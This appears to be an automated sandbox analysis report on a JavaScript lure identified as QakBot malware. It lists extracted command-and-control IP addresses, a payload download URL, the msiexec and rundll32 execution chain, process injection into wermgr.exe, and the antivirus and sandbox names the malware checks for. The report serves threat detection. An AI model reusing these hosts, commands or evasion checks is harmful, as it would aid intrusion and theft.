Source: Malware configuration extractor	IPs: 213.64.33.92:2222
Source: Malware configuration extractor	IPs: 113.11.92.30:443
Source: Malware configuration extractor	IPs: 78.192.109.105:2222
Source: Malware configuration extractor	IPs: 47.34.30.133:443
Source: Malware configuration extractor	IPs: 122.184.143.86:443
Source: Malware configuration extractor	IPs: 198.2.51.242:993
Source: Malware configuration extractor	IPs: 165.120.169.171:2222
Source: Malware configuration extractor	IPs: 88.126.94.4:50000
Source: Malware configuration extractor	IPs: 82.125.44.236:2222
Source: Malware configuration extractor	IPs: 117.195.17.148:993
Source: Malware configuration extractor	IPs: 147.219.4.194:443
Source: Malware configuration extractor	IPs: 80.167.196.79:443
Source: Malware configuration extractor	IPs: 92.154.17.149:2222
Source: Malware configuration extractor	IPs: 184.181.75.148:443
Source: Malware configuration extractor	IPs: 95.45.50.93:2222
Source: Malware configuration extractor	IPs: 84.35.26.14:995
Source: Malware configuration extractor	IPs: 201.143.215.69:443
Source: Malware configuration extractor	IPs: 12.172.173.82:2087
Source: Malware configuration extractor	IPs: 50.68.204.71:443
Source: Malware configuration extractor	IPs: 64.121.161.102:443

Source: Joe Sandbox View

ASN Name: CHARTER-20115US CHARTER-20115US

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: Joe Sandbox View

IP Address: 75.143.236.149 75.143.236.149

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: xfinity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: xfinity.comCache-Control: no-cacheCookie: xpgn=1

Source: global traffic

TCP traffic: 192.168.2.5:49726 -> 105.184.209.194:995

Source: unknown

Network traffic detected: IP country count 32

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 105.184.209.194

Source: national[1].htm.5.dr

String found in binary or memory: Find tutorials and demos\u003C\u002Fa\u003E\u003C\u002Fli\u003E\u003Cli\u003E\u003Ca rel=\"nofollow\" href=\"https:\u002F\u002Fwww.facebook.com\u002Fxfinity\"\u003EFacebook equals www.facebook.com (Facebook)

Source: wscript.exe, 00000000.00000002.392570780.000001C96BC1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392118030.000001C96BC1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.391972717.000001C96BBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392048669.000001C96BBF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%/%.msi%InstallProduct
Source: 4fa97f.rbs.1.dr	String found in binary or memory: https://garokelka.com/
Source: 4fa97f.rbs.1.dr	String found in binary or memory: https://garokelka.com/$
Source: wscript.exe, 00000000.00000003.392048669.000001C96BC35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392263721.000001C96BC35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.392570780.000001C96BC35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garokelka.com/yjxcii.msi
Source: ~DF22471B5A50AA2E97.TMP.1.dr	String found in binary or memory: https://garokelka.com/yjxcii.msi-825014416310365950
Source: ~DFB376DA478E956195.TMP.1.dr, inprogressinstallinfo.ipi.1.dr, ~DFBDB1CFA03CBC6FC5.TMP.1.dr, ~DF2A70DF5CEC56BF5D.TMP.1.dr, ~DF79B335FA0EB48BA5.TMP.1.dr, ~DF95BD744A4429F4FF.TMP.1.dr	String found in binary or memory: https://garokelka.com/yjxcii.msi0C:
Source: wscript.exe, 00000000.00000002.392535316.000001C96BBF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.391972717.000001C96BBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392048669.000001C96BBF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garokelka.com/yjxcii.msill.mui
Source: national[1].htm.5.dr	String found in binary or memory: https://www.xfinity.com/learn/internet-service/acp
Source: national[1].htm.5.dr	String found in binary or memory: https://www.xfinity.com/mobile/policies/broadband-disclosures
Source: national[1].htm.5.dr	String found in binary or memory: https://www.xfinity.com/networkmanagement

Source: unknown

DNS traffic detected: queries for: garokelka.com

Source: global traffic	HTTP traffic detected: GET /yjxcii.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows InstallerHost: garokelka.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: xfinity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: xfinity.comCache-Control: no-cacheCookie: xpgn=1

Source: unknown	HTTPS traffic detected: 217.195.153.225:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.114.21.40:443 -> 192.168.2.5:49721 version: TLS 1.2

Source: 4.2.rundll32.exe.ee0950.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 4.2.rundll32.exe.fd0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 4.2.rundll32.exe.ee0950.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\4fa980.msi

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI319E.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1002B980		4_2_1002B980
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10059B40		4_2_10059B40

Source: ProjectFunding_450726_Jun01.js

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF22471B5A50AA2E97.TMP

Jump to behavior

Source: classification engine

Classification label: mal92.troj.evad.winJS@10/19@3/100

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next

Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{73B1D26A-63AE-4441-A78B-E87C4AC58080}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{9F22E6A9-49AA-41B0-8132-BBF5C96D0FE5}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{9F22E6A9-49AA-41B0-8132-BBF5C96D0FE5}

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

Source: wscript.exe, 00000000.00000002.392487359.000001C96BBD0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr
Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr

Source: main.dll.1.dr

Static PE information: real checksum: 0xc399f should be: 0xcbceb

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: PID: 4744 base: DB3C50 value: E9 63 D7 DC FF

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wermgr.exe, 00000005.00000003.424428035.0000000004C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BEHAVIORDUMPER.EXE
Source: wermgr.exe, 00000005.00000003.424428035.0000000004C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BEHAVIORDUMPER.EXEU
Source: wermgr.exe, 00000005.00000003.424428035.0000000004C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXE
Source: wermgr.exe, 00000005.00000003.424428035.0000000004C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXEU

Source: C:\Windows\System32\msiexec.exe TID: 5420	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5640	Thread sleep count: 188 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 4716	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 0.7 %

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_100559A0 GetVersionExA,GetVersionExA,GetVersionExA,GetSystemInfo,

4_2_100559A0

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_1005C09A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1005C09A

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00FC2297 mov eax, dword ptr fs:[00000030h]		4_3_00FC2297
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_100379BC mov eax, dword ptr fs:[00000030h]		4_2_100379BC

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_1005C09A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1005C09A

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: B80000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: DB3C50	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: B80000 protect: page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: BB0000 protect: page read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: C:\Windows\SysWOW64\wermgr.exe base: B80000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_100060D0 lgetVersion@Engine@ScScript@@SAHXZ,lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z,lgetName@Engine@ScScript@@QBEABVString@ScCore@@XZ,

4_2_100060D0

Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: rundll32.exe, 00000004.00000003.392256643.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.rundll32.exe.ee0950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.fd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.ee0950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.400127832.0000000004C30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.400000830.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.rundll32.exe.ee0950.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.fd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.ee0950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.400127832.0000000004C30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.400000830.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	21 Scripting	1 DLL Side-Loading	311 Process Injection	11 Masquerading	1 Credential API Hooking	12 Security Software Discovery	1 Replication Through Removable Media	1 Credential API Hooking	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	21 Scripting	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	113 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	15 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 File Deletion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ProjectFunding_450726_Jun01.js	3%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://garokelka.com/yjxcii.msi0C:	0%	Avira URL Cloud	safe
https://garokelka.com/yjxcii.msi-825014416310365950	0%	Avira URL Cloud	safe
https://%/%.msi%InstallProduct	0%	Avira URL Cloud	safe
https://garokelka.com/yjxcii.msill.mui	0%	Avira URL Cloud	safe
https://garokelka.com/yjxcii.msi	0%	Avira URL Cloud	safe
https://garokelka.com/$	0%	Avira URL Cloud	safe
https://garokelka.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
xfinity.com	96.114.21.40	true	false	high
garokelka.com	217.195.153.225	true	false	unknown
www.xfinity.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://garokelka.com/yjxcii.msi	false	Avira URL Cloud: safe	unknown
https://xfinity.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://garokelka.com/$	4fa97f.rbs.1.dr	false	Avira URL Cloud: safe	unknown
https://garokelka.com/yjxcii.msi0C:	~DFB376DA478E956195.TMP.1.dr, inprogressinstallinfo.ipi.1.dr, ~DFBDB1CFA03CBC6FC5.TMP.1.dr, ~DF2A70DF5CEC56BF5D.TMP.1.dr, ~DF79B335FA0EB48BA5.TMP.1.dr, ~DF95BD744A4429F4FF.TMP.1.dr	false	Avira URL Cloud: safe	unknown
https://www.xfinity.com/mobile/policies/broadband-disclosures	national[1].htm.5.dr	false		high
https://www.xfinity.com/learn/internet-service/acp	national[1].htm.5.dr	false		high
https://www.xfinity.com/networkmanagement	national[1].htm.5.dr	false		high
https://garokelka.com/yjxcii.msi-825014416310365950	~DF22471B5A50AA2E97.TMP.1.dr	false	Avira URL Cloud: safe	unknown
https://%/%.msi%InstallProduct	wscript.exe, 00000000.00000002.392570780.000001C96BC1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392118030.000001C96BC1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.391972717.000001C96BBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.392048669.000001C96BBF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
